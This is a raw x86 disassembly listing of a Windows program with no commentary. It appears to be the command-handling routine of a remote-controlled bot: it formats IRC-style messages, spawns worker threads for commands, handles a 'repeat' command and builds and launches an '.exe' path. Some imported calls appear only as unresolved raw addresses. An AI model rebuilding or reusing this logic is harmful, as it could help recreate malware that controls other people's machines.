		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"

loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CAFB4
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407B44

loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------

loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A4CC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A39C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407C41

loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------

loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A358
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------

loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx

loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------

loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx

loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A32C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407D7F

loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------

loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A2EC
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A2B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407E67

loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_407E51
; ---------------------------------------------------------------------------

loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A278
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A248
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407F4F

loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_407F39
; ---------------------------------------------------------------------------

loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A210
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A1E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408048

loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_408032
; ---------------------------------------------------------------------------

loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42A1A8
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A178
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408130

loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------

loc_408130:				; CODE XREF: sub_401ACD+664Bj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_42A13C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A110
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_408223

loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_408211
; ---------------------------------------------------------------------------

loc_408223:				; CODE XREF: sub_401ACD+6742j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42A0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A0A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 26A0C6Bh
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A07C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------

loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980

loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch

loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A040
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4083A1

loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_40838F
; ---------------------------------------------------------------------------

loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42A004

loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5

loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2660C61h
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_429FE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_429FC4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 26A0000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------

loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx

loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------

loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx

loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F8C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4085BF

loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------

loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset dword_429F50
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_429F08

loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2670EA1h
		nop

loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_429EE4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_429ECC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_429E98

loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------

loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_429E64
		push	eax
		call	sub_41B886
